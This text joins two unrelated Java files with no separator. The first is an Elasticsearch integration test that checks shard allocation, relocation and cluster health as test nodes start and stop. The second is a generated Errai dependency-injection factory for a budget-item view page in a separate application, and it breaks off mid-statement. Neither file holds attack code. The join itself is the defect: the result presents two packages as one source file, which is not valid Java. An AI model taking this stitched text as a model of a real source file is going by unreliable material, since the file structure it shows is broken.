/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.elasticsearch.indexlifecycle; import com.carrotsearch.randomizedtesting.annotations.Nightly; import com.google.common.base.Function; import com.google.common.collect.Iterables; import com.google.common.collect.Sets; import org.apache.lucene.util.LuceneTestCase.Slow; import org.elasticsearch.action.admin.cluster.health.ClusterHealthResponse; import org.elasticsearch.action.admin.cluster.health.ClusterHealthStatus; import org.elasticsearch.action.admin.indices.create.CreateIndexResponse; import org.elasticsearch.action.admin.indices.delete.DeleteIndexResponse; import org.elasticsearch.cluster.ClusterState; import org.elasticsearch.cluster.routing.RoutingNode; import org.elasticsearch.cluster.routing.RoutingNodes; import org.elasticsearch.common.Priority; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.discovery.Discovery; import org.elasticsearch.test.ElasticsearchIntegrationTest; import org.elasticsearch.test.ElasticsearchIntegrationTest.ClusterScope; import org.elasticsearch.test.TestCluster; import org.junit.Test; import java.util.Set; import static org.elasticsearch.client.Requests.*; import static org.elasticsearch.cluster.metadata.IndexMetaData.SETTING_NUMBER_OF_REPLICAS; import static org.elasticsearch.cluster.metadata.IndexMetaData.SETTING_NUMBER_OF_SHARDS; import static org.elasticsearch.cluster.routing.ShardRoutingState.*; import static org.elasticsearch.common.settings.ImmutableSettings.settingsBuilder; import static org.hamcrest.Matchers.*; /** * */ @ClusterScope(scope = ElasticsearchIntegrationTest.Scope.TEST, numNodes = 0) public class IndexLifecycleActionTests extends ElasticsearchIntegrationTest { @Slow @Test public void testIndexLifecycleActions() throws Exception { if (randomBoolean()) { // both run with @Nightly testIndexLifecycleActionsWith11Shards0Backup(); } else { testIndexLifecycleActionsWith11Shards1Backup(); } } @Slow @Nightly @Test public void testIndexLifecycleActionsWith11Shards1Backup() throws Exception { Settings settings = settingsBuilder() .put(SETTING_NUMBER_OF_SHARDS, 11) .put(SETTING_NUMBER_OF_REPLICAS, 1) .put("cluster.routing.schedule", "20ms") // reroute every 20ms so we identify new nodes fast .build(); // start one server logger.info("Starting sever1"); final String server_1 = cluster().startNode(settings); final String node1 = getLocalNodeId(server_1); logger.info("Creating index [test]"); CreateIndexResponse createIndexResponse = client().admin().indices().create(createIndexRequest("test")).actionGet(); assertThat(createIndexResponse.isAcknowledged(), equalTo(true)); logger.info("Running Cluster Health"); ClusterHealthResponse clusterHealth = client().admin().cluster().prepareHealth().setWaitForEvents(Priority.LANGUID).setWaitForYellowStatus().execute().actionGet(); logger.info("Done Cluster Health, status " + clusterHealth.getStatus()); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.YELLOW)); ClusterState clusterState = client().admin().cluster().prepareState().get().getState(); RoutingNode routingNodeEntry1 = clusterState.readOnlyRoutingNodes().node(node1); assertThat(routingNodeEntry1.numberOfShardsWithState(STARTED), equalTo(11)); logger.info("Starting server2"); // start another server String server_2 = cluster().startNode(settings); // first wait for 2 nodes in the cluster logger.info("Running Cluster Health"); clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("2")).actionGet(); logger.info("Done Cluster Health, status " + clusterHealth.getStatus()); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); setMinimumMasterNodes(2); final String node2 = getLocalNodeId(server_2); // explicitly call reroute, so shards will get relocated to the new node (we delay it in ES in case other nodes join) client().admin().cluster().prepareReroute().execute().actionGet(); clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("2").waitForRelocatingShards(0)).actionGet(); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); assertThat(clusterHealth.getNumberOfDataNodes(), equalTo(2)); assertThat(clusterHealth.getInitializingShards(), equalTo(0)); assertThat(clusterHealth.getUnassignedShards(), equalTo(0)); assertThat(clusterHealth.getRelocatingShards(), equalTo(0)); assertThat(clusterHealth.getActiveShards(), equalTo(22)); assertThat(clusterHealth.getActivePrimaryShards(), equalTo(11)); clusterState = client().admin().cluster().prepareState().get().getState(); assertNodesPresent(clusterState.readOnlyRoutingNodes(), node1, node2); routingNodeEntry1 = clusterState.readOnlyRoutingNodes().node(node1); assertThat(routingNodeEntry1.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry1.numberOfShardsWithState(STARTED), equalTo(11)); RoutingNode routingNodeEntry2 = clusterState.readOnlyRoutingNodes().node(node2); assertThat(routingNodeEntry2.numberOfShardsWithState(INITIALIZING), equalTo(0)); assertThat(routingNodeEntry2.numberOfShardsWithState(STARTED), equalTo(11)); logger.info("Starting server3"); // start another server String server_3 = cluster().startNode(settings); // first wait for 3 nodes in the cluster clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("3")).actionGet(); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); final String node3 = getLocalNodeId(server_3); // explicitly call reroute, so shards will get relocated to the new node (we delay it in ES in case other nodes join) client().admin().cluster().prepareReroute().execute().actionGet(); clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("3").waitForRelocatingShards(0)).actionGet(); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); assertThat(clusterHealth.getNumberOfDataNodes(), equalTo(3)); assertThat(clusterHealth.getInitializingShards(), equalTo(0)); assertThat(clusterHealth.getUnassignedShards(), equalTo(0)); assertThat(clusterHealth.getRelocatingShards(), equalTo(0)); assertThat(clusterHealth.getActiveShards(), equalTo(22)); assertThat(clusterHealth.getActivePrimaryShards(), equalTo(11)); clusterState = client().admin().cluster().prepareState().get().getState(); assertNodesPresent(clusterState.readOnlyRoutingNodes(), node1, node2, node3); routingNodeEntry1 = clusterState.readOnlyRoutingNodes().node(node1); routingNodeEntry2 = clusterState.readOnlyRoutingNodes().node(node2); RoutingNode routingNodeEntry3 = clusterState.readOnlyRoutingNodes().node(node3); assertThat(routingNodeEntry1.numberOfShardsWithState(STARTED) + routingNodeEntry2.numberOfShardsWithState(STARTED) + routingNodeEntry3.numberOfShardsWithState(STARTED), equalTo(22)); assertThat(routingNodeEntry1.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry1.numberOfShardsWithState(STARTED), anyOf(equalTo(7), equalTo(8))); assertThat(routingNodeEntry2.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry2.numberOfShardsWithState(STARTED), anyOf(equalTo(7), equalTo(8))); assertThat(routingNodeEntry3.numberOfShardsWithState(INITIALIZING), equalTo(0)); assertThat(routingNodeEntry3.numberOfShardsWithState(STARTED), equalTo(7)); logger.info("Closing server1"); // kill the first server cluster().stopRandomNode(TestCluster.nameFilter(server_1)); // verify health logger.info("Running Cluster Health"); clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("2")).actionGet(); logger.info("Done Cluster Health, status " + clusterHealth.getStatus()); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); client().admin().cluster().prepareReroute().get(); clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForRelocatingShards(0).waitForNodes("2")).actionGet(); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); assertThat(clusterHealth.getRelocatingShards(), equalTo(0)); assertThat(clusterHealth.getActiveShards(), equalTo(22)); assertThat(clusterHealth.getActivePrimaryShards(), equalTo(11)); clusterState = client().admin().cluster().prepareState().get().getState(); assertNodesPresent(clusterState.readOnlyRoutingNodes(), node3, node2); routingNodeEntry2 = clusterState.readOnlyRoutingNodes().node(node2); routingNodeEntry3 = clusterState.readOnlyRoutingNodes().node(node3); assertThat(routingNodeEntry2.numberOfShardsWithState(STARTED) + routingNodeEntry3.numberOfShardsWithState(STARTED), equalTo(22)); assertThat(routingNodeEntry2.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry2.numberOfShardsWithState(STARTED), equalTo(11)); assertThat(routingNodeEntry3.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry3.numberOfShardsWithState(STARTED), equalTo(11)); logger.info("Deleting index [test]"); // last, lets delete the index DeleteIndexResponse deleteIndexResponse = client().admin().indices().prepareDelete("test").execute().actionGet(); assertThat(deleteIndexResponse.isAcknowledged(), equalTo(true)); clusterState = client().admin().cluster().prepareState().get().getState(); assertNodesPresent(clusterState.readOnlyRoutingNodes(), node3, node2); routingNodeEntry2 = clusterState.readOnlyRoutingNodes().node(node2); assertThat(routingNodeEntry2.isEmpty(), equalTo(true)); routingNodeEntry3 = clusterState.readOnlyRoutingNodes().node(node3); assertThat(routingNodeEntry3.isEmpty(), equalTo(true)); } private String getLocalNodeId(String name) { Discovery discovery = cluster().getInstance(Discovery.class, name); String nodeId = discovery.localNode().getId(); assertThat(nodeId, not(nullValue())); return nodeId; } @Slow @Nightly @Test public void testIndexLifecycleActionsWith11Shards0Backup() throws Exception { Settings settings = settingsBuilder() .put(SETTING_NUMBER_OF_SHARDS, 11) .put(SETTING_NUMBER_OF_REPLICAS, 0) .put("cluster.routing.schedule", "20ms") // reroute every 20ms so we identify new nodes fast .build(); // start one server logger.info("Starting server1"); final String server_1 = cluster().startNode(settings); final String node1 = getLocalNodeId(server_1); logger.info("Creating index [test]"); CreateIndexResponse createIndexResponse = client().admin().indices().create(createIndexRequest("test")).actionGet(); assertThat(createIndexResponse.isAcknowledged(), equalTo(true)); logger.info("Running Cluster Health"); ClusterHealthResponse clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus()).actionGet(); logger.info("Done Cluster Health, status " + clusterHealth.getStatus()); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); assertThat(clusterHealth.getRelocatingShards(), equalTo(0)); assertThat(clusterHealth.getActiveShards(), equalTo(11)); assertThat(clusterHealth.getActivePrimaryShards(), equalTo(11)); ClusterState clusterState = client().admin().cluster().prepareState().get().getState(); assertNodesPresent(clusterState.readOnlyRoutingNodes(), node1); RoutingNode routingNodeEntry1 = clusterState.readOnlyRoutingNodes().node(node1); assertThat(routingNodeEntry1.numberOfShardsWithState(STARTED), equalTo(11)); // start another server logger.info("Starting server2"); final String server_2 = cluster().startNode(settings); // first wait for 2 nodes in the cluster clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("2")).actionGet(); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); setMinimumMasterNodes(2); final String node2 = getLocalNodeId(server_2); // explicitly call reroute, so shards will get relocated to the new node (we delay it in ES in case other nodes join) client().admin().cluster().prepareReroute().execute().actionGet(); clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForRelocatingShards(0).waitForNodes("2")).actionGet(); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); assertThat(clusterHealth.getNumberOfDataNodes(), equalTo(2)); assertThat(clusterHealth.getInitializingShards(), equalTo(0)); assertThat(clusterHealth.getUnassignedShards(), equalTo(0)); assertThat(clusterHealth.getRelocatingShards(), equalTo(0)); assertThat(clusterHealth.getActiveShards(), equalTo(11)); assertThat(clusterHealth.getActivePrimaryShards(), equalTo(11)); clusterState = client().admin().cluster().prepareState().get().getState(); assertNodesPresent(clusterState.readOnlyRoutingNodes(), node1, node2); routingNodeEntry1 = clusterState.readOnlyRoutingNodes().node(node1); assertThat(routingNodeEntry1.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry1.numberOfShardsWithState(STARTED), anyOf(equalTo(6), equalTo(5))); RoutingNode routingNodeEntry2 = clusterState.readOnlyRoutingNodes().node(node2); assertThat(routingNodeEntry2.numberOfShardsWithState(INITIALIZING), equalTo(0)); assertThat(routingNodeEntry2.numberOfShardsWithState(STARTED), anyOf(equalTo(5), equalTo(6))); // start another server logger.info("Starting server3"); final String server_3 = cluster().startNode(); // first wait for 3 nodes in the cluster clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("3")).actionGet(); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); final String node3 = getLocalNodeId(server_3); // explicitly call reroute, so shards will get relocated to the new node (we delay it in ES in case other nodes join) client().admin().cluster().prepareReroute().execute().actionGet(); clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("3").waitForRelocatingShards(0)).actionGet(); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); assertThat(clusterHealth.getNumberOfDataNodes(), equalTo(3)); assertThat(clusterHealth.getInitializingShards(), equalTo(0)); assertThat(clusterHealth.getUnassignedShards(), equalTo(0)); assertThat(clusterHealth.getRelocatingShards(), equalTo(0)); assertThat(clusterHealth.getActiveShards(), equalTo(11)); assertThat(clusterHealth.getActivePrimaryShards(), equalTo(11)); clusterState = client().admin().cluster().prepareState().get().getState(); assertNodesPresent(clusterState.readOnlyRoutingNodes(), node1, node2, node3); routingNodeEntry1 = clusterState.readOnlyRoutingNodes().node(node1); routingNodeEntry2 = clusterState.readOnlyRoutingNodes().node(node2); RoutingNode routingNodeEntry3 = clusterState.readOnlyRoutingNodes().node(node3); assertThat(routingNodeEntry1.numberOfShardsWithState(STARTED) + routingNodeEntry2.numberOfShardsWithState(STARTED) + routingNodeEntry3.numberOfShardsWithState(STARTED), equalTo(11)); assertThat(routingNodeEntry1.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry1.numberOfShardsWithState(STARTED), anyOf(equalTo(5), equalTo(4), equalTo(3))); assertThat(routingNodeEntry2.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry2.numberOfShardsWithState(STARTED), anyOf(equalTo(5), equalTo(4), equalTo(3))); assertThat(routingNodeEntry3.numberOfShardsWithState(INITIALIZING), equalTo(0)); assertThat(routingNodeEntry3.numberOfShardsWithState(STARTED), equalTo(3)); logger.info("Closing server1"); // kill the first server cluster().stopRandomNode(TestCluster.nameFilter(server_1)); logger.info("Running Cluster Health"); clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("2")).actionGet(); logger.info("Done Cluster Health, status " + clusterHealth.getStatus()); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); client().admin().cluster().prepareReroute().get(); logger.info("Running Cluster Health"); clusterHealth = client().admin().cluster().health(clusterHealthRequest().waitForGreenStatus().waitForNodes("2").waitForRelocatingShards(0)).actionGet(); logger.info("Done Cluster Health, status " + clusterHealth.getStatus()); assertThat(clusterHealth.isTimedOut(), equalTo(false)); assertThat(clusterHealth.getStatus(), equalTo(ClusterHealthStatus.GREEN)); assertThat(clusterHealth.getRelocatingShards(), equalTo(0)); assertThat(clusterHealth.getActiveShards(), equalTo(11)); assertThat(clusterHealth.getActivePrimaryShards(), equalTo(11)); clusterState = client().admin().cluster().prepareState().get().getState(); assertNodesPresent(clusterState.readOnlyRoutingNodes(), node3, node2); routingNodeEntry2 = clusterState.readOnlyRoutingNodes().node(node2); routingNodeEntry3 = clusterState.readOnlyRoutingNodes().node(node3); assertThat(routingNodeEntry2.numberOfShardsWithState(STARTED) + routingNodeEntry3.numberOfShardsWithState(STARTED), equalTo(11)); assertThat(routingNodeEntry2.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry2.numberOfShardsWithState(INITIALIZING), equalTo(0)); assertThat(routingNodeEntry2.numberOfShardsWithState(STARTED), anyOf(equalTo(5), equalTo(6))); assertThat(routingNodeEntry3.numberOfShardsWithState(RELOCATING), equalTo(0)); assertThat(routingNodeEntry3.numberOfShardsWithState(INITIALIZING), equalTo(0)); assertThat(routingNodeEntry3.numberOfShardsWithState(STARTED), anyOf(equalTo(5), equalTo(6))); logger.info("Deleting index [test]"); // last, lets delete the index DeleteIndexResponse deleteIndexResponse = client().admin().indices().delete(deleteIndexRequest("test")).actionGet(); assertThat(deleteIndexResponse.isAcknowledged(), equalTo(true)); clusterState = client().admin().cluster().prepareState().get().getState(); assertNodesPresent(clusterState.readOnlyRoutingNodes(), node3, node2); routingNodeEntry2 = clusterState.readOnlyRoutingNodes().node(node2); assertThat(routingNodeEntry2.isEmpty(), equalTo(true)); routingNodeEntry3 = clusterState.readOnlyRoutingNodes().node(node3); assertThat(routingNodeEntry3.isEmpty(), equalTo(true)); } private void assertNodesPresent(RoutingNodes routingNodes, String... nodes) { final Set<String> keySet = Sets.newHashSet(Iterables.transform(routingNodes, new Function<RoutingNode, String>() { @Override public String apply(RoutingNode input) { return input.nodeId(); } })); assertThat(keySet, containsInAnyOrder(nodes)); } }
package org.jboss.errai.ioc.client; import com.cloderia.helion.client.local.budgetitem.BaseBudgetitemPage; import com.cloderia.helion.client.local.budgetitem.BudgetitemDisplay; import com.cloderia.helion.client.local.budgetitem.BudgetitemEditor; import com.cloderia.helion.client.local.budgetitem.BudgetitemListItemDisplay; import com.cloderia.helion.client.local.budgetitem.CreateBudgetitemPage; import com.cloderia.helion.client.local.budgetitem.EditBudgetitemPage; import com.cloderia.helion.client.local.budgetitem.ListBudgetitemPage; import com.cloderia.helion.client.local.budgetitem.ViewBudgetitemPage; import com.cloderia.helion.client.local.ui.BasePage; import com.cloderia.helion.client.local.ui.BasePortalPage; import com.cloderia.helion.client.local.ui.NavBar; import com.cloderia.helion.client.local.ui.SideBar; import com.cloderia.helion.client.shared.endpoint.BudgetEndPoint; import com.cloderia.helion.client.shared.endpoint.BudgetitemEndPoint; import com.cloderia.helion.client.shared.endpoint.BudgetitemtypeEndPoint; import com.cloderia.helion.client.shared.endpoint.UniverseEndPoint; import com.cloderia.helion.client.shared.model.Budgetitem; import com.cloderia.helion.client.shared.ops.BudgetitemOperation; import com.google.gwt.core.client.GWT; import com.google.gwt.dom.client.AnchorElement; import com.google.gwt.dom.client.Element; import com.google.gwt.event.dom.client.ClickEvent; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.event.logical.shared.HasAttachHandlers; import com.google.gwt.event.shared.HasHandlers; import com.google.gwt.resources.client.ClientBundle; import com.google.gwt.resources.client.ClientBundle.Source; import com.google.gwt.resources.client.TextResource; import com.google.gwt.user.client.EventListener; import com.google.gwt.user.client.ui.Composite; import com.google.gwt.user.client.ui.HasVisibility; import com.google.gwt.user.client.ui.IsRenderable; import com.google.gwt.user.client.ui.IsWidget; import com.google.gwt.user.client.ui.UIObject; import com.google.gwt.user.client.ui.Widget; import java.lang.annotation.Annotation; import java.util.LinkedHashMap; import java.util.Map; import javax.enterprise.context.Dependent; import org.jboss.errai.bus.client.ErraiBus; import org.jboss.errai.bus.client.api.Subscription; import org.jboss.errai.common.client.api.Caller; import org.jboss.errai.common.client.dom.Heading; import org.jboss.errai.common.client.function.Supplier; import org.jboss.errai.common.client.ui.ElementWrapperWidget; import org.jboss.errai.databinding.client.api.DataBinder; import org.jboss.errai.enterprise.client.cdi.AbstractCDIEventCallback; import org.jboss.errai.enterprise.client.cdi.api.CDI; import org.jboss.errai.ioc.client.container.Context; import org.jboss.errai.ioc.client.container.ContextManager; import org.jboss.errai.ioc.client.container.Factory; import org.jboss.errai.ioc.client.container.FactoryHandle; import org.jboss.errai.ioc.client.container.FactoryHandleImpl; import org.jboss.errai.ioc.client.container.Proxy; import org.jboss.errai.ui.nav.client.local.TransitionTo; import org.jboss.errai.ui.shared.Template; import org.jboss.errai.ui.shared.TemplateUtil; import org.jboss.errai.ui.shared.TemplateWidgetMapper; import org.jboss.errai.ui.shared.api.style.StyleBindingsRegistry; public class Type_factory__c_c_h_c_l_b_ViewBudgetitemPage__quals__j_e_i_Any_j_e_i_Default extends Factory<ViewBudgetitemPage> { private FactoryHandleImpl handle = new FactoryHandleImpl(ViewBudgetitemPage.class, "Type_factory__c_c_h_c_l_b_ViewBudgetitemPage__quals__j_e_i_Any_j_e_i_Default", Dependent.class, false, null, true); public interface c_c_h_c_l_b_ViewBudgetitemPageTemplateResource extends Template, ClientBundle { @Source("com/cloderia/helion/client/local/budgetitem/view-budgetitem-page.html") public TextResource getContents(); } public Type_factory__c_c_h_c_l_b_ViewBudgetitemPage__quals__j_e_i_Any_j_e_i_Default() { handle.addAssignableType(ViewBudgetitemPage.class); handle.addAssignableType(BaseBudgetitemPage.class); handle.addAssignableType(BasePortalPage.class); handle.addAssignableType(BasePage.class); handle.addAssignableType(Composite.class); handle.addAssignableType(Widget.class); handle.addAssignableType(UIObject.class); handle.addAssignableType(Object.class); handle.addAssignableType(HasVisibility.class); handle.addAssignableType(EventListener.class); handle.addAssignableType(HasAttachHandlers.class); handle.addAssignableType(HasHandlers.class); handle.addAssignableType(IsWidget.class); handle.addAssignableType(IsRenderable.class); handle.addQualifier(QualifierUtil.ANY_ANNOTATION); handle.addQualifier(QualifierUtil.DEFAULT_ANNOTATION); } public void init(final Context context) { } public ViewBudgetitemPage createInstance(final ContextManager contextManager) { final ViewBudgetitemPage instance = new ViewBudgetitemPage(); setIncompleteInstance(instance); final SideBar BasePortalPage_sidebar = (SideBar) contextManager.getInstance("Type_factory__c_c_h_c_l_u_SideBar__quals__j_e_i_Any_j_e_i_Default"); registerDependentScopedReference(instance, BasePortalPage_sidebar); BasePortalPage_SideBar_sidebar(instance, BasePortalPage_sidebar); final Caller BaseBudgetitemPage_budgetitemtypeService = (Caller) contextManager.getContextualInstance("ContextualProvider_factory__o_j_e_c_c_a_Caller__quals__Universal", new Class[] { BudgetitemtypeEndPoint.class }, new Annotation[] { }); registerDependentScopedReference(instance, BaseBudgetitemPage_budgetitemtypeService); BaseBudgetitemPage_Caller_budgetitemtypeService(instance, BaseBudgetitemPage_budgetitemtypeService); final TransitionTo BaseBudgetitemPage_listBudgetitemsPage = (TransitionTo) contextManager.getContextualInstance("ContextualProvider_factory__o_j_e_u_n_c_l_TransitionTo__quals__Universal", new Class[] { ListBudgetitemPage.class }, new Annotation[] { }); registerDependentScopedReference(instance, BaseBudgetitemPage_listBudgetitemsPage); BaseBudgetitemPage_TransitionTo_listBudgetitemsPage(instance, BaseBudgetitemPage_listBudgetitemsPage); final TransitionTo BaseBudgetitemPage_editBudgetitemPage = (TransitionTo) contextManager.getContextualInstance("ContextualProvider_factory__o_j_e_u_n_c_l_TransitionTo__quals__Universal", new Class[] { EditBudgetitemPage.class }, new Annotation[] { }); registerDependentScopedReference(instance, BaseBudgetitemPage_editBudgetitemPage); BaseBudgetitemPage_TransitionTo_editBudgetitemPage(instance, BaseBudgetitemPage_editBudgetitemPage); final Caller BaseBudgetitemPage_budgetitemService = (Caller) contextManager.getContextualInstance("ContextualProvider_factory__o_j_e_c_c_a_Caller__quals__Universal", new Class[] { BudgetitemEndPoint.class }, new Annotation[] { }); registerDependentScopedReference(instance, BaseBudgetitemPage_budgetitemService); BaseBudgetitemPage_Caller_budgetitemService(instance, BaseBudgetitemPage_budgetitemService); final TransitionTo BaseBudgetitemPage_viewBudgetitemPage = (TransitionTo) contextManager.getContextualInstance("ContextualProvider_factory__o_j_e_u_n_c_l_TransitionTo__quals__Universal", new Class[] { ViewBudgetitemPage.class }, new Annotation[] { }); registerDependentScopedReference(instance, BaseBudgetitemPage_viewBudgetitemPage); BaseBudgetitemPage_TransitionTo_viewBudgetitemPage(instance, BaseBudgetitemPage_viewBudgetitemPage); final Heading BaseBudgetitemPage_viewTitle = (Heading) contextManager.getInstance("ExtensionProvided_factory__o_j_e_c_c_d_Heading__quals__j_e_i_Any_j_e_i_Default_j_i_Named"); registerDependentScopedReference(instance, BaseBudgetitemPage_viewTitle); BaseBudgetitemPage_Heading_viewTitle(instance, BaseBudgetitemPage_viewTitle); final NavBar BasePortalPage_header = (NavBar) contextManager.getInstance("Type_factory__c_c_h_c_l_u_NavBar__quals__j_e_i_Any_j_e_i_Default"); registerDependentScopedReference(instance, BasePortalPage_header); BasePortalPage_NavBar_header(instance, BasePortalPage_header); final Caller BaseBudgetitemPage_universeService = (Caller) contextManager.getContextualInstance("ContextualProvider_factory__o_j_e_c_c_a_Caller__quals__Universal", new Class[] { UniverseEndPoint.class }, new Annotation[] { }); registerDependentScopedReference(instance, BaseBudgetitemPage_universeService); BaseBudgetitemPage_Caller_universeService(instance, BaseBudgetitemPage_universeService); final DataBinder ViewBudgetitemPage_binder = (DataBinder) contextManager.getContextualInstance("ContextualProvider_factory__o_j_e_d_c_a_DataBinder__quals__Universal", new Class[] { Budgetitem.class }, new Annotation[] { }); registerDependentScopedReference(instance, ViewBudgetitemPage_binder); ViewBudgetitemPage_DataBinder_binder(instance, ViewBudgetitemPage_binder); final BudgetitemDisplay ViewBudgetitemPage_entityDisplayComponent = (BudgetitemDisplay) contextManager.getInstance("Type_factory__c_c_h_c_l_b_BudgetitemDisplay__quals__j_e_i_Any_j_e_i_Default"); registerDependentScopedReference(instance, ViewBudgetitemPage_entityDisplayComponent); ViewBudgetitemPage_BudgetitemDisplay_entityDisplayComponent(instance, ViewBudgetitemPage_entityDisplayComponent); final TransitionTo BaseBudgetitemPage_createBudgetitemPage = (TransitionTo) contextManager.getContextualInstance("ContextualProvider_factory__o_j_e_u_n_c_l_TransitionTo__quals__Universal", new Class[] { CreateBudgetitemPage.class }, new Annotation[] { }); registerDependentScopedReference(instance, BaseBudgetitemPage_createBudgetitemPage); BaseBudgetitemPage_TransitionTo_createBudgetitemPage(instance, BaseBudgetitemPage_createBudgetitemPage); final Caller BaseBudgetitemPage_budgetService = (Caller) contextManager.getContextualInstance("ContextualProvider_factory__o_j_e_c_c_a_Caller__quals__Universal", new Class[] { BudgetEndPoint.class }, new Annotation[] { }); registerDependentScopedReference(instance, BaseBudgetitemPage_budgetService); BaseBudgetitemPage_Caller_budgetService(instance, BaseBudgetitemPage_budgetService); thisInstance.setReference(instance, "onRemoteEntityCreatedSubscription", CDI.subscribe("com.cloderia.helion.client.shared.ops.BudgetitemOperation", new AbstractCDIEventCallback<BudgetitemOperation>() { { qualifierSet.add("com.cloderia.helion.client.shared.Operation(value=CREATE)"); } public void fireEvent(final BudgetitemOperation event) { instance.onRemoteEntityCreated(event); } public String toString() { return "Observer: com.cloderia.helion.client.shared.ops.BudgetitemOperation [@com.cloderia.helion.client.shared.Operation(value=CREATE)]"; } })); thisInstance.setReference(instance, "onRemoteEntityCreatedSubscriptionForBudgetitemOperation", ErraiBus.get().subscribe("cdi.event:com.cloderia.helion.client.shared.ops.BudgetitemOperation", CDI.ROUTING_CALLBACK)); thisInstance.setReference(instance, "onRemoteEntityEditedSubscription", CDI.subscribe("com.cloderia.helion.client.shared.ops.BudgetitemOperation", new AbstractCDIEventCallback<BudgetitemOperation>() { { qualifierSet.add("com.cloderia.helion.client.shared.Operation(value=UPDATE)"); } public void fireEvent(final BudgetitemOperation event) { instance.onRemoteEntityEdited(event); } public String toString() { return "Observer: com.cloderia.helion.client.shared.ops.BudgetitemOperation [@com.cloderia.helion.client.shared.Operation(value=UPDATE)]"; } })); thisInstance.setReference(instance, "onRemoteEntityEditedSubscriptionForBudgetitemOperation", ErraiBus.get().subscribe("cdi.event:com.cloderia.helion.client.shared.ops.BudgetitemOperation", CDI.ROUTING_CALLBACK)); thisInstance.setReference(instance, "onRemoteEntityDeletedSubscription", CDI.subscribe("com.cloderia.helion.client.shared.ops.BudgetitemOperation", new AbstractCDIEventCallback<BudgetitemOperation>() { { qualifierSet.add("com.cloderia.helion.client.shared.Operation(value=DELETE)"); } public void fireEvent(final BudgetitemOperation event) { instance.onRemoteEntityDeleted(event); } public String toString() { return "Observer: com.cloderia.helion.client.shared.ops.BudgetitemOperation [@com.cloderia.helion.client.shared.Operation(value=DELETE)]"; } })); thisInstance.setReference(instance, "onRemoteEntityDeletedSubscriptionForBudgetitemOperation", ErraiBus.get().subscribe("cdi.event:com.cloderia.helion.client.shared.ops.BudgetitemOperation", CDI.ROUTING_CALLBACK)); thisInstance.setReference(instance, "doRenderEditViewSubscription", CDI.subscribeLocal("com.cloderia.helion.client.local.budgetitem.BudgetitemDisplay", new AbstractCDIEventCallback<BudgetitemDisplay>() { { qualifierSet.add("com.cloderia.helion.client.local.ui.RenderEditView"); } public void fireEvent(final BudgetitemDisplay event) { instance.doRenderEditView(event); } public String toString() { return "Observer: com.cloderia.helion.client.local.budgetitem.BudgetitemDisplay [@com.cloderia.helion.client.local.ui.RenderEditView()]"; } })); thisInstance.setReference(instance, "doRenderSingleViewSubscription", CDI.subscribeLocal("com.cloderia.helion.client.local.budgetitem.BudgetitemListItemDisplay", new AbstractCDIEventCallback<BudgetitemListItemDisplay>() { { 